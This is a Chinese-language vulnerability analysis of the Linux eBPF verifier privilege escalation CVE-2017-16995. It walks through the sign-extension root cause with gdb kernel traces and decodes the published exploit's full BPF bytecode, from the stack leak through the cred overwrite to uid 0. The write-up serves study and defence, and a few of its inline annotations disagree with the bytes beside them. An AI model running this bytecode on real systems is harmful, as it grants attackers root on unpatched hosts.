*本文首發阿里雲先知安全技術社區,原文鏈接https://xz.aliyun.com/t/2212
前言:
2018年3月中旬,Twitter 用戶 @Vitaly Nikolenko 發布消息,稱 ubuntu 最新版本(Ubuntu 16.04)存在高危的本地提權漏洞,而且推文中還附上了 EXP 下載地址。
由於該漏洞成功在aws Ubuntu鏡像上復現,被認為是0DAY,引起了安全圈同學們的廣泛關注。大體瀏覽了 一下exp代碼,發現利用姿勢很優雅,沒有ROP,沒有堆,沒有棧,比較感興趣,不過等了幾天也沒發現有詳細的漏洞分析,正好趕上周末,便自己跟了一下:)
經過一番了解發現這個漏洞並不是什么0DAY,最早是去年12月21號Google Project Zero團隊的Jann Horn發現並報告的,編號為CVE-2017-16995,作者在報告該漏洞的時候附了一個DOS的POC。另外,最早公開發布可成功提權exploit也不是Vitaly Nikolenko,而是Bruce Leidl,其在12月21號就把完整的提權exploit公布到了github上,地址:https://github.com/brl/grlh/blob/master/get-rekt-linux-hardened.c。
技術分析
eBPF簡介
眾所周知,linux的用戶層和內核層是隔離的,想讓內核執行用戶的代碼,正常是需要編寫內核模塊,當然內核模塊只能root用戶才能加載。而BPF則相當於是內核給用戶開的一個綠色通道:BPF(Berkeley Packet Filter)提供了一個用戶和內核之間代碼和數據傳輸的橋梁。用戶可以用eBPF指令字節碼的形式向內核輸送代碼,並通過事件(如往socket寫數據)來觸發內核執行用戶提供的代碼;同時以map(key,value)的形式來和內核共享數據,用戶層向map中寫數據,內核層從map中取數據,反之亦然。BPF設計初衷是用來在底層對網絡進行過濾,后續由於他可以方便的向內核注入代碼,並且還提供了一套完整的安全措施來對內核進行保護,被廣泛用於抓包、內核probe、性能監控等領域。BPF發展經歷了2個階段,cBPF(classic BPF)和eBPF(extend BPF),cBPF已退出歷史舞台,后文提到的BPF默認為eBPF。
eBPF虛擬指令系統
eBPF虛擬指令系統屬於RISC,擁有10個虛擬寄存器,r0-r10,在實際運行時,虛擬機會把這10個寄存器一一對應於硬件CPU的10個物理寄存器,以x64為例,對應關系如下:
R0 – rax
R1 - rdi
R2 - rsi
R3 - rdx
R4 - rcx
R5 - r8
R6 - rbx
R7 - r13
R8 - r14
R9 - r15
R10 – rbp(幀指針,frame pointer)
每一條指令的格式如下:
struct bpf_insn { __u8 code; /* opcode */ __u8 dst_reg:4; /* dest register */ __u8 src_reg:4; /* source register */ __s16 off; /* signed offset */ __s32 imm; /* signed immediate constant */ };
如一條簡單的x86賦值指令:mov eax,0xffffffff,對應的BPF指令為:BPF_MOV32_IMM(BPF_REG_2, 0xFFFFFFFF),其對應的數據結構為:
#define BPF_MOV32_IMM(DST, IMM) \ ((struct bpf_insn) { \ .code = BPF_ALU | BPF_MOV | BPF_K, \ .dst_reg = DST, \ .src_reg = 0, \ .off = 0, \ .imm = IMM })
其在內存中的值為:\xb4\x09\x00\x00\xff\xff\xff\xff。
關於BPF指令系統此處就不再贅述,只要明確以下兩點即可:1.其為RISC指令系統,也就是說每條指令大小都是一樣的;2.其虛擬的10個寄存器一一對應於物理cpu的寄存器,且功能類似,比如BPF的r10寄存器和rbp一樣指向棧,r0用於返回值。
BPF的加載過程
一個典型的BPF程序流程為:
1. 用戶程序調用syscall(__NR_bpf, BPF_MAP_CREATE, &attr, sizeof(attr))申請創建一個map,在attr結構體中指定map的類型、大小、最大容量等屬性。
2. 用戶程序調用syscall(__NR_bpf, BPF_PROG_LOAD, &attr, sizeof(attr))來將我們寫的BPF代碼加載進內核,attr結構體中包含了指令數量、指令首地址指針、日志級別等屬性。在加載之前會利用虛擬執行的方式來做安全性校驗,這個校驗包括對指定語法的檢查、指令數量的檢查、指令中的指針和立即數的范圍及讀寫權限檢查,禁止將內核中的地址暴露給用戶空間,禁止對BPF程序stack之外的內核地址讀寫。安全校驗通過后,程序被成功加載至內核,后續真正執行時,不再重復做檢查。
3. 用戶程序通過調用setsockopt(sockets[1], SOL_SOCKET, SO_ATTACH_BPF, &progfd, sizeof(progfd)將我們寫的BPF程序綁定到指定的socket上。Progfd為上一步驟的返回值。
4. 用戶程序通過操作上一步驟中的socket來觸發BPF真正執行。
BPF的安全校驗
Bpf指令的校驗是在函數do_check中,代碼路徑為kernel/bpf/verifier.c。do_check通過一個無限循環來遍歷我們提供的bpf指令,
理論上虛擬執行和真實執行的執行路徑應該是完全一致的。如果步驟2安全校驗過程中的虛擬執行路徑和步驟4 bpf的真實執行路徑不完全一致的話,會怎么樣呢?看下面的例子:
1.BPF_MOV32_IMM(BPF_REG_9, 0xFFFFFFFF), /* r9 = (u32)0xFFFFFFFF */
2.BPF_JMP_IMM(BPF_JNE, BPF_REG_9, 0xFFFFFFFF, 2), /* if (r9 == -1) { */
3.BPF_MOV64_IMM(BPF_REG_0, 0), /* exit(0); */
4.BPF_EXIT_INSN()
5.……
第一條指令是個簡單的賦值語句,把0xFFFFFFFF這個值賦值給r9.
第二條指令是個條件跳轉指令,如果r9等於0xFFFFFFFF,則退出程序,終止執行;如果r9不等於0xFFFFFFFF,則跳過后面2條執行繼續執行第5條指令。
虛擬執行的時候,do_check檢測到第2條指令等式恆成立,所以認為BPF_JNE的跳轉永遠不會發生,第4條指令之后的指令永遠不會執行,所以檢測結束,do_check返回成功。
真實執行的時候,由於一個符號擴展的bug,導致第2條指令中的等式不成立,於是cpu就跳轉到第5條指令繼續執行,這里是漏洞產生的根因,這4條指令,可以繞過BPF的代碼安全檢查。既然安全檢查被繞過了,用戶就可以隨意往內核中注入代碼了,提權就水到渠成了:先獲取到task_struct的地址,然后定位到cred的地址,然后定位到uid的地址,然后直接將uid的值改為0,然后啟動/bin/bash。
漏洞分析
下面結合真實的exp來動態分析一下漏洞的執行過程。
Vitaly Nikolenko公布的這個exp,關鍵代碼就是如下這個prog數組:
這個數組就是BPF的指令數據,想要搞清楚exp的機理,首先要把這堆16進制數據翻譯成BPF指令,翻譯結果如下:
bytes="\xb4\x09\x00\x00\xff\xff\xff\xff"\ #BPF_MOV32_IMM(BPF_REG_9, 0xFFFFFFFF), /* r9 = (u32)0xFFFFFFFF */ "\x55\x09\x02\x00\xff\xff\xff\xff"\ #BPF_JMP_IMM(BPF_JNE, BPF_REG_9, 0xFFFFFFFF, 2), /* if (r9 == -1) { */ "\xb7\x00\x00\x00\x00\x00\x00\x00"\ #BPF_MOV64_IMM(BPF_REG_0, 0), /* exit(0); */ "\x95\x00\x00\x00\x00\x00\x00\x00"\ #BPF_EXIT_INSN() "\x18\x19\x00\x00\x03\x00\x00\x00"\ # BPF_LD_MAP_FD(BPF_REG_9, mapfd), /* r9=mapfd */ "\x00\x00\x00\x00\x00\x00\x00\x00"\ #BPF_MAP_GET(0, BPF_REG_6) r6=op,取map的第1個元素放到r6 "\xbf\x91\x00\x00\x00\x00\x00\x00"\ #BPF_MOV64_REG(BPF_REG_1, BPF_REG_9), /* r1 = r9 */ "\xbf\xa2\x00\x00\x00\x00\x00\x00"\ #BPF_MOV64_REG(BPF_REG_2, BPF_REG_10), /* r2 = fp */ "\x07\x02\x00\x00\xfc\xff\xff\xff"\ #BPF_ALU64_IMM(BPF_ADD, BPF_REG_2, -4), /* r2 = fp - 4 */ "\x62\x0a\xfc\xff\x00\x00\x00\x00"\ #BPF_ST_MEM(BPF_W, BPF_REG_10, -4, idx=0), /* *(u32 *)(fp - 4) = idx */ "\x85\x00\x00\x00\x01\x00\x00\x00"\ #BPF_RAW_INSN(BPF_JMP | BPF_CALL, 0, 0, 0, BPF_FUNC_map_lookup_elem), "\x55\x00\x01\x00\x00\x00\x00\x00"\ #BPF_JMP_IMM(BPF_JNE, BPF_REG_0, 0, 1), /* if (r0 == 0) */ "\x95\x00\x00\x00\x00\x00\x00\x00"\ #BPF_EXIT_INSN(), /* exit(0); */ "\x79\x06\x00\x00\x00\x00\x00\x00"\ #BPF_LDX_MEM(BPF_DW, (r6), BPF_REG_0, 0) /* r_dst = *(u64 *)(r0) */ #BPF_MAP_GET(1, BPF_REG_7) r7=address,取map的第2個元素放到r7 "\xbf\x91\x00\x00\x00\x00\x00\x00"\ #BPF_MOV64_REG(BPF_REG_1, BPF_REG_9), /* r1 = r9 */ "\xbf\xa2\x00\x00\x00\x00\x00\x00"\ #BPF_MOV64_REG(BPF_REG_2, BPF_REG_10), /* r2 = fp */ "\x07\x02\x00\x00\xfc\xff\xff\xff"\ #BPF_ALU64_IMM(BPF_ADD, BPF_REG_2, -4), /* r2 = fp - 4 */ "\x62\x0a\xfc\xff\x01\x00\x00\x00"\ #BPF_ST_MEM(BPF_W, BPF_REG_10, -4, idx=1), /* *(u32 *)(fp - 4) = idx */ "\x85\x00\x00\x00\x01\x00\x00\x00"\ #BPF_RAW_INSN(BPF_JMP | BPF_CALL, 0, 0, 0, BPF_FUNC_map_lookup_elem), "\x55\x00\x01\x00\x00\x00\x00\x00"\ #BPF_JMP_IMM(BPF_JNE, BPF_REG_0, 0, 1), /* if (r0 == 0) */ "\x95\x00\x00\x00\x00\x00\x00\x00"\ #BPF_EXIT_INSN(), /* exit(0); */ "\x79\x07\x00\x00\x00\x00\x00\x00"\ #BPF_LDX_MEM(BPF_DW, (r7), BPF_REG_0, 0) /* r_dst = *(u64 *)(r0) */ #BPF_MAP_GET(2, BPF_REG_8) r8=value,取map的第3個元素放到r8 "\xbf\x91\x00\x00\x00\x00\x00\x00"\ #BPF_MOV64_REG(BPF_REG_1, BPF_REG_9), /* r1 = r9 */ "\xbf\xa2\x00\x00\x00\x00\x00\x00"\ #BPF_MOV64_REG(BPF_REG_2, BPF_REG_10), /* r2 = fp */ "\x07\x02\x00\x00\xfc\xff\xff\xff"\ #BPF_ALU64_IMM(BPF_ADD, BPF_REG_2, -4), /* r2 = fp - 4 */ "\x62\x0a\xfc\xff\x02\x00\x00\x00"\ #BPF_ST_MEM(BPF_W, BPF_REG_10, -4, idx=1), /* *(u32 *)(fp - 4) = idx */ "\x85\x00\x00\x00\x01\x00\x00\x00"\ #BPF_RAW_INSN(BPF_JMP | BPF_CALL, 0, 0, 0, BPF_FUNC_map_lookup_elem), "\x55\x00\x01\x00\x00\x00\x00\x00"\ #BPF_JMP_IMM(BPF_JNE, BPF_REG_0, 0, 1), /* if (r0 == 0) */ "\x95\x00\x00\x00\x00\x00\x00\x00"\ #BPF_EXIT_INSN(), /* exit(0); */ "\x79\x08\x00\x00\x00\x00\x00\x00"\ #BPF_LDX_MEM(BPF_DW, (r8), BPF_REG_0, 0) /* r_dst = *(u64 *)(r0) */ "\xbf\x02\x00\x00\x00\x00\x00\x00"\ #BPF_MOV64_REG(BPF_REG_2, BPF_REG_0), /* r2 = r0 */ "\xb7\x00\x00\x00\x00\x00\x00\x00"\ #BPF_MOV64_IMM(BPF_REG_0, 0), /* r0 = 0 for exit(0) */ "\x55\x06\x03\x00\x00\x00\x00\x00"\ #BPF_JMP_IMM(BPF_JNE, BPF_REG_6, 0, 3), /* if (op == 0) */ "\x79\x73\x00\x00\x00\x00\x00\x00"\ #BPF_LDX_MEM(BPF_DW, BPF_REG_3, BPF_REG_7, 0), "\x7b\x32\x00\x00\x00\x00\x00\x00"\ #BPF_STX_MEM(BPF_DW, BPF_REG_2, BPF_REG_10, 0), "\x95\x00\x00\x00\x00\x00\x00\x00"\ #BPF_EXIT_INSN(), "\x55\x06\x02\x00\x01\x00\x00\x00"\ #BPF_JMP_IMM(BPF_JNE, BPF_REG_6, 0, 2), "\x7b\xa2\x00\x00\x00\x00\x00\x00"\ #BPF_STX_MEM(BPF_DW, BPF_REG_2, BPF_REG_10, 0), "\x95\x00\x00\x00\x00\x00\x00\x00"\ #BPF_EXIT_INSN(), /* exit(0); */ "\x7b\x87\x00\x00\x00\x00\x00\x00"\ #BPF_STX_MEM(BPF_DW, BPF_REG_7, BPF_REG_8, 0), "\x95\x00\x00\x00\x00\x00\x00\x00"\ #BPF_EXIT_INSN(), /* exit(0); */
在do_check上打個斷點,編譯運行,成功斷了下來,先看一下調用棧:
(gdb) bt #0 do_check (env=0xffff880078190000) at /build/linux-fQ94TU/linux-4.4.0/kernel/bpf/verifier.c:1724 #1 0xffffffff8117c057 in bpf_check (prog=0xffff880034003e10, attr=<optimized out>) at /build/linux-fQ94TU/linux-4.4.0/kernel/bpf/verifier.c:2240 #2 0xffffffff81178631 in bpf_prog_load (attr=0xffff880034003ee0) at /build/linux-fQ94TU/linux-4.4.0/kernel/bpf/syscall.c:679 #3 0xffffffff81178d3a in SYSC_bpf (size=48, uattr=<optimized out>, cmd=<optimized out>) at /build/linux-fQ94TU/linux-4.4.0/kernel/bpf/syscall.c:783 #4 SyS_bpf (cmd=5, uattr=140722476394128, size=48) at /build/linux-fQ94TU/linux-4.4.0/kernel/bpf/syscall.c:725 #5 0xffffffff8184efc8 in entry_SYSCALL_64 () at /build/linux-fQ94TU/linux-4.4.0/arch/x86/entry/entry_64.S:193 #6 0x0000000000000001 in irq_stack_union () #7 0x0000000000000000 in ?? () (gdb)
首先看第一條賦值語句BPF_MOV32_IMM(BPF_REG_9, 0xFFFFFFFF),do_check中最終的賦值語句如下:

其中dst_reg為虛擬執行過程中的寄存器結構體,結構體定義如下:

可以看到該結構體有2個字段,第一個為type,代表寄存器數據的類型,此處為CONST_IMM,CONST_IMM的值為8.另外一個為常量立即數的具體數值,可以看到類型為int有符號整形。
我們在此處下斷點,可以看到具體的賦值過程,如下:
(gdb) x/10 $rip-4 0xffffffff8117b0ac <do_check+5548>: mov DWORD PTR [rsi+rax*1+0x8],edx => 0xffffffff8117b0b0 <do_check+5552>: jmp 0xffffffff8117a38c <do_check+2188> 0xffffffff8117b0b5 <do_check+5557>: mov rdi,QWORD PTR [rsp+0x38] 0xffffffff8117b0ba <do_check+5562>: mov rdx,rax 0xffffffff8117b0bd <do_check+5565>: movzx esi,al 0xffffffff8117b0c0 <do_check+5568>: and edx,0x18 0xffffffff8117b0c3 <do_check+5571>: mov rdx,QWORD PTR [rdx-0x7e5db140] 0xffffffff8117b0ca <do_check+5578>: movzx ecx,BYTE PTR [rdi+0x1] 0xffffffff8117b0ce <do_check+5582>: movsx r8d,WORD PTR [rdi+0x2] 0xffffffff8117b0d3 <do_check+5587>: mov r9d,DWORD PTR [rdi+0x4] (gdb) i r $edx edx 0xffffffff -1 (gdb) x/10x $rsi+$rax 0xffff8800781930a8: 0x00000008 0x00000000 0xffffffff 0x00000000 0xffff8800781930b8: 0x00000006 0x00000000 0x00000000 0x00000000 0xffff8800781930c8: 0x00000000 0x00000000 (gdb)
$rsi+$rax處即為reg_state結構體,可以看到第一個字段為8,第二個字段為0Xffffffff。
然后我們跟進第二條指令中的比較語句BPF_JMP_IMM(BPF_JNE, BPF_REG_9, 0xFFFFFFFF, 2),do_check檢測到跳轉類指令時,根據跳轉類型進入不通的檢測分支,此處是JNE跳轉,進入check_cond_jmp_op分支,如下圖:

Do_check在校驗條件類跳轉指令的時候,會判斷條件是否成立,如果是非確定性跳轉的話,就說明接下來2個分支都有可能執行(分支A和分支B),這時do_check會把下一步需要跳轉到的指令編號(分支B)放到一個臨時棧中備用,這樣當前指令順序校驗(分支A)過程中遇到EXIT指令時,會從臨時棧中取出之前保存的下一條指令的序號(分支B)繼續校驗。如果跳轉指令恆成立的話,就不會再往臨時棧中放入分支B,因為分支B永遠不會執行,如下圖:

第一個紅框即為虛擬寄存器中的imm與指令中提供的imm進行比較,這兩個類型如下:
可以看到等號兩側的數據類型完全一致,都為有符號整數,所以此處條件跳轉條件恆成立,不會往臨時棧中push分支B指令編號。
接下來看BPF_EXIT_INSN(),剛才提到在校驗EXIT指令時,會從臨時棧中嘗試取指令(調用pop_stack函數),如果臨時棧中有指令,那就說明還有其他可能執行到的分支,需要繼續校驗,如果取不到值,表示當前這條EXIT指令確實是BPF程序最后一條可以執行到的指令,此時pop_stack會返回-1,然后break跳出do_check校驗循環,do_check執行結束,校驗通過,如下圖:

跟進pop_stack,如下圖:

實際執行過程如下:
(gdb) x/10i $rip => 0xffffffff81178f29 <pop_stack+9>: test r8,r8 //此處判斷env->head是否為NULL 0xffffffff81178f2c <pop_stack+12>: je 0xffffffff81178fb4 <pop_stack+148> //為NULL時,跳轉到0xffffffff81178fb4 0xffffffff81178f32 <pop_stack+18>: push rbp 0xffffffff81178f33 <pop_stack+19>: mov rax,rsi 0xffffffff81178f36 <pop_stack+22>: lea rcx,[rdi+0x18] 0xffffffff81178f3a <pop_stack+26>: mov rdx,rdi 0xffffffff81178f3d <pop_stack+29>: lea rdi,[rdi+0x20] 0xffffffff81178f41 <pop_stack+33>: mov rbp,rsp 0xffffffff81178f44 <pop_stack+36>: push r13 0xffffffff81178f46 <pop_stack+38>: push r12 (gdb) i r $r8 r8 0x0 0 (gdb) x/10i 0xffffffff81178fb4 0xffffffff81178fb4 <pop_stack+148>: mov eax,0xffffffff //pop_stack返回-1 0xffffffff81178fb9 <pop_stack+153>: ret //pop_stack返回-1 0xffffffff81178fba: nop WORD PTR [rax+rax*1+0x0] 0xffffffff81178fc0 <verbose>: nop DWORD PTR [rax+rax*1+0x0] 0xffffffff81178fc5 <verbose+5>: push rbp 0xffffffff81178fc6 <verbose+6>: mov rbp,rsp 0xffffffff81178fc9 <verbose+9>: sub rsp,0x50 0xffffffff81178fcd <verbose+13>: mov rax,QWORD PTR gs:0x28 0xffffffff81178fd6 <verbose+22>: mov QWORD PTR [rsp+0x18],rax 0xffffffff81178fdb <verbose+27>: xor eax,eax (gdb)
到此為止我們了解了BPF的校驗過程,這個exp一共有41條指令,BPF只校驗了4條指令,然后返回校驗成功。
接下來我們繼續跟進BPF指令的執行過程,對應的代碼如下(路徑為kernel/bpf/core.c):

其中DST為目標寄存器,IMM為立即數,我們跟進DST的定義:

跟進IMM的定義:
很明顯,等號兩邊的數據類型是不一致的,所以導致這里的條件跳轉語句的結果完全相反,以下為實際執行過程:
(gdb) x/10i $rip => 0xffffffff8117731f <__bpf_prog_run+2191>: cmp QWORD PTR [rbp+rax*8-0x270],rdx 0xffffffff81177327 <__bpf_prog_run+2199>: je 0xffffffff81177d8a <__bpf_prog_run+4858> 0xffffffff8117732d <__bpf_prog_run+2205>: movsx rax,WORD PTR [rbx+0x2] 0xffffffff81177332 <__bpf_prog_run+2210>: lea rbx,[rbx+rax*8+0x8] 0xffffffff81177337 <__bpf_prog_run+2215>: jmp 0xffffffff81176ae0 <__bpf_prog_run+80> 0xffffffff8117733c <__bpf_prog_run+2220>: movzx eax,BYTE PTR [rbx+0x1] 0xffffffff81177340 <__bpf_prog_run+2224>: mov edx,eax 0xffffffff81177342 <__bpf_prog_run+2226>: shr dl,0x4 0xffffffff81177345 <__bpf_prog_run+2229>: and edx,0xf 0xffffffff81177348 <__bpf_prog_run+2232>: cmp QWORD PTR [rbp+rdx*8-0x270],0x0 (gdb) i r $rdx rdx 0xffffffffffffffff -1 (gdb) x/10x (rbp+rax*8-0x270) No symbol "rbp" in current context. (gdb) x/10x ($rbp+$rax*8-0x270) 0xffff880076143a78: 0xffffffff 0x00000000 0x76143c88 0xffff8800 0xffff880076143a88: 0x00000001 0x00000000 0x00000001 0x01000000 0xffff880076143a98: 0x746ee000 0xffff8800 (gdb)
等號兩邊的值完全不一樣,這里的跳轉條件成立,會往后跳2條指令繼續執行,和虛擬執行的過程相反。
接下來就是分析exp里面的BPF指令了,通過自定義BPF指令,我們可以繞過安全校驗實現任意內核指針泄露,任意內核地址讀寫。
構造一下攻擊路徑:
1.申請一個MAP,長度為3;
2.這個MAP的第一個元素為操作指令,第2個元素為需要讀寫的內存地址,第3個元素用來存放讀取到的內容。此時這個MAP相當於一個CC,3個元素組成一個控制指令。
3.組裝一個指令,讀取內核的棧地址。根據內核棧地址獲取到current的地址。
4.讀current結構體的第一個成員,或得task_struct的地址,繼而加上cred的偏移得到cred地址,最終獲取到uid的地址。
5.組裝一個寫指令,向上一步獲取到的uid地址寫入0.
6.啟動新的bash進程,該進程的uid為0,提權成功。
Exp中就是按照如上的攻擊路徑來提權的,申請完map之后,首先發送獲取內核棧地址的指令,如下:
bpf_update_elem(0, 0);
bpf_update_elem(1, 0);
bpf_update_elem(2, 0);
然后通過調用writemsg觸發BPF程序運行,BPF會進入如下分支:
"\x18\x19\x00\x00\x03\x00\x00\x00"\ # BPF_LD_MAP_FD(BPF_REG_9, mapfd), /* r9=mapfd */ #BPF_MAP_GET(0, BPF_REG_6) r6=op "\xbf\x91\x00\x00\x00\x00\x00\x00"\ #BPF_MOV64_REG(BPF_REG_1, BPF_REG_9), /* r1 = r9 */ "\xbf\xa2\x00\x00\x00\x00\x00\x00"\ #BPF_MOV64_REG(BPF_REG_2, BPF_REG_10), /* r2 = fp */ "\x07\x02\x00\x00\xfc\xff\xff\xff"\ #BPF_ALU64_IMM(BPF_ADD, BPF_REG_2, -4), /* r2 = fp - 4 */ "\x62\x0a\xfc\xff\x00\x00\x00\x00"\ #BPF_ST_MEM(BPF_W, BPF_REG_10, -4, idx=0), /* *(u32 *)(fp - 4) = idx */ "\x85\x00\x00\x00\x01\x00\x00\x00"\ #BPF_RAW_INSN(BPF_JMP | BPF_CALL, 0, 0, 0, BPF_FUNC_map_lookup_elem), "\x55\x00\x01\x00\x00\x00\x00\x00"\ #BPF_JMP_IMM(BPF_JNE, BPF_REG_0, 0, 1), /* if (r0 == 0) */ "\x95\x00\x00\x00\x00\x00\x00\x00"\ #BPF_EXIT_INSN(), /* exit(0); */ "\x79\x06\x00\x00\x00\x00\x00\x00"\ #BPF_LDX_MEM(BPF_DW, (r6), BPF_REG_0, 0) /* r_dst = *(u64 *)(r0) */
之前提到過,BPF的r10寄存器相當於x86_64的rbp,是指向內核棧的,所以這里第一行指令將map的標識放到r9,第二條指令將r9放到r1,作為后續調用BPF_FUNC_map_lookup_elem函數的第一個參數,第三條指令將內核棧指針賦值給r2,第四條指令在棧上開辟4個字節的空間,第五條指令將map元素的序號放到r2,第六條指令取map中第r2個元素的值並把返回值存入r0,第七條指令判斷BPF_FUNC_map_lookup_elem有沒有執行成功,r0=0則未成功。成功后執行第9條指令,將取到的值放到r6中。繼續依次往下執行,直到執行到下面的路徑:
"\x55\x06\x03\x00\x00\x00\x00\x00"\ #BPF_JMP_IMM(BPF_JNE, BPF_REG_6, 0, 3), /* if (op == 0) */ "\x79\x73\x00\x00\x00\x00\x00\x00"\ #BPF_LDX_MEM(BPF_DW, BPF_REG_3, BPF_REG_7, 0), "\x7b\x32\x00\x00\x00\x00\x00\x00"\ #BPF_STX_MEM(BPF_DW, BPF_REG_2, BPF_REG_10, 0), "\x95\x00\x00\x00\x00\x00\x00\x00"\ #BPF_EXIT_INSN(), "\x55\x06\x02\x00\x01\x00\x00\x00"\ #BPF_JMP_IMM(BPF_JNE, BPF_REG_6, 0, 2), "\x7b\xa2\x00\x00\x00\x00\x00\x00"\ #BPF_STX_MEM(BPF_DW, BPF_REG_2, BPF_REG_10, 0), "\x95\x00\x00\x00\x00\x00\x00\x00"\ #BPF_EXIT_INSN(), /* exit(0); */
判斷r6是否為0,為0說明是取棧地址的指令,這時會往下跳3條指令,繼續執行第7條指令,將r10的內容寫入r2,由於在執行第30條指令時r0指向map中的第二個元素,所以這時r2也指向這個元素,然后用戶層通過get_value(2)取到了內核棧的地址,我們通過給BPF_STX_MEM(BPF_DW, BPF_REG_2, BPF_REG_10, 0)下斷點,可以看到過程如下:
(gdb) x/20i 0xffffffff8117788b 0xffffffff8117788b <__bpf_prog_run+3579>: movzx eax,BYTE PTR [rbx+0x1] 0xffffffff8117788f <__bpf_prog_run+3583>: movsx rdx,WORD PTR [rbx+0x2] 0xffffffff81177894 <__bpf_prog_run+3588>: add rbx,0x8 0xffffffff81177898 <__bpf_prog_run+3592>: mov rcx,rax 0xffffffff8117789b <__bpf_prog_run+3595>: shr al,0x4 0xffffffff8117789e <__bpf_prog_run+3598>: and ecx,0xf 0xffffffff811778a1 <__bpf_prog_run+3601>: and eax,0xf 0xffffffff811778a4 <__bpf_prog_run+3604>: mov rcx,QWORD PTR [rbp+rcx*8-0x270] 0xffffffff811778ac <__bpf_prog_run+3612>: mov rax,QWORD PTR [rbp+rax*8-0x270] 0xffffffff811778b4 <__bpf_prog_run+3620>: mov QWORD PTR [rcx+rdx*1],rax => 0xffffffff811778b8 <__bpf_prog_run+3624>: jmp 0xffffffff81176ae0 <__bpf_prog_run+80> 0xffffffff811778bd <__bpf_prog_run+3629>: movzx eax,BYTE PTR [rbx+0x1] 0xffffffff811778c1 <__bpf_prog_run+3633>: movsx rdx,WORD PTR [rbx+0x2] 0xffffffff811778c6 <__bpf_prog_run+3638>: add rbx,0x8 0xffffffff811778ca <__bpf_prog_run+3642>: movsxd rcx,DWORD PTR [rbx-0x4] 0xffffffff811778ce <__bpf_prog_run+3646>: and eax,0xf 0xffffffff811778d1 <__bpf_prog_run+3649>: mov rax,QWORD PTR [rbp+rax*8-0x270] 0xffffffff811778d9 <__bpf_prog_run+3657>: mov QWORD PTR [rax+rdx*1],rcx 0xffffffff811778dd <__bpf_prog_run+3661>: jmp 0xffffffff81176ae0 <__bpf_prog_run+80> 0xffffffff811778e2 <__bpf_prog_run+3666>: lfence (gdb) i r $rax rax 0xffff8800758c3c88 -131939423208312 (gdb)
其中rax的值0xffff8800758c3c88即為泄露的內核棧地址(其實應該稱為幀指針更准確)。
然后通過經典的addr & ~(0x4000 - 1)獲取到current結構體的起始地址0xffff8800758c0000,然后構造讀數據的map指令去讀current中偏移為0的指針值(即為指向task_struct的指針):
bpf_update_elem(0, 0);
bpf_update_elem(1, 0xffff8800758c0000);
bpf_update_elem(2, 0);
其中addr為當前線程current的值0xffff8800758c0000,這樣可以得到task_struct的地址,
過程如下:
(gdb) x/10i $rip-20 0xffffffff811778a4 <__bpf_prog_run+3604>: mov rcx,QWORD PTR [rbp+rcx*8-0x270] 0xffffffff811778ac <__bpf_prog_run+3612>: mov rax,QWORD PTR [rbp+rax*8-0x270] 0xffffffff811778b4 <__bpf_prog_run+3620>: mov QWORD PTR [rcx+rdx*1],rax => 0xffffffff811778b8 <__bpf_prog_run+3624>: jmp 0xffffffff81176ae0 <__bpf_prog_run+80> 0xffffffff811778bd <__bpf_prog_run+3629>: movzx eax,BYTE PTR [rbx+0x1] 0xffffffff811778c1 <__bpf_prog_run+3633>: movsx rdx,WORD PTR [rbx+0x2] 0xffffffff811778c6 <__bpf_prog_run+3638>: add rbx,0x8 0xffffffff811778ca <__bpf_prog_run+3642>: movsxd rcx,DWORD PTR [rbx-0x4] 0xffffffff811778ce <__bpf_prog_run+3646>: and eax,0xf 0xffffffff811778d1 <__bpf_prog_run+3649>: mov rax,QWORD PTR [rbp+rax*8-0x270] (gdb) i r $rax rax 0xffff880074343c00 -131939445752832 (gdb) x/10x 0xffff8800758c0000 0xffff8800758c0000: 0x74343c00 0xffff8800 0x00000008 0x00000000 0xffff8800758c0010: 0x00000001 0x00000000 0xfffff000 0x00007fff 0xffff8800758c0020: 0x00000000 0x00000000 (gdb)
其中rax的值即為指向task_struct的指針,可以看到和current結構體的第一個成員的值是一致的,都是0xffff880074343c00。
得到task_struct地址之后,加上cred的偏移CRED_OFFSET=0x5f8(由於內核版本不通或者內核的編譯選項不同,都可能導致cred在task_struct中的偏移不同),組裝讀取指令取讀取指向cred結構體的指針地址:
bpf_update_elem(0, 2);
bpf_update_elem(1, 0xffff880074343c00+0x5f8);
bpf_update_elem(2, 0);
過程如下:
(gdb) x/10i $rip => 0xffffffff811778b8 <__bpf_prog_run+3624>: jmp 0xffffffff81176ae0 <__bpf_prog_run+80> 0xffffffff811778bd <__bpf_prog_run+3629>: movzx eax,BYTE PTR [rbx+0x1] 0xffffffff811778c1 <__bpf_prog_run+3633>: movsx rdx,WORD PTR [rbx+0x2] 0xffffffff811778c6 <__bpf_prog_run+3638>: add rbx,0x8 0xffffffff811778ca <__bpf_prog_run+3642>: movsxd rcx,DWORD PTR [rbx-0x4] 0xffffffff811778ce <__bpf_prog_run+3646>: and eax,0xf 0xffffffff811778d1 <__bpf_prog_run+3649>: mov rax,QWORD PTR [rbp+rax*8-0x270] 0xffffffff811778d9 <__bpf_prog_run+3657>: mov QWORD PTR [rax+rdx*1],rcx 0xffffffff811778dd <__bpf_prog_run+3661>: jmp 0xffffffff81176ae0 <__bpf_prog_run+80> 0xffffffff811778e2 <__bpf_prog_run+3666>: lfence (gdb) i r $rax rax 0xffff880074cb5e00 -131939435848192 (gdb) p (struct task_struct *)0xffff880074343c00 $15 = (struct task_struct *) 0xffff880074343c00 (gdb) p ((struct task_struct *)0xffff880074343c00)->cred $16 = (const struct cred *) 0xffff880074cb5e00 (gdb) p &((struct task_struct *)0xffff880074343c00)->cred $17 = (const struct cred **) 0xffff8800743441f8 (gdb) x/10x 0xffff880074343c00+0x5f8 0xffff8800743441f8: 0x74cb5e00 0xffff8800 0x00707865 0x65742d00 0xffff880074344208: 0x6e696d72 0x002d6c61 0x00000000 0x00000000 0xffff880074344218: 0x00000000 0x00000000 (gdb)
上圖中rax的值0xffff880074cb5e00即為從task_struct中讀取到的指向cred的指針。
cred的地址得到了,再加上uid在cred中的偏移(固定為4)便得到了uid的地址0xffff880074cb5e04,然后構造寫數據的map指令:
bpf_update_elem(0, 2);
bpf_update_elem(1, 0xffff880074cb5e04);
bpf_update_elem(2, 0);
過程如下(由於第一次運行exp的時候,這里沒斷下來,所以下面的過程是第二次運行的過程,中間一些結構體的地址發生了稍微的變化):
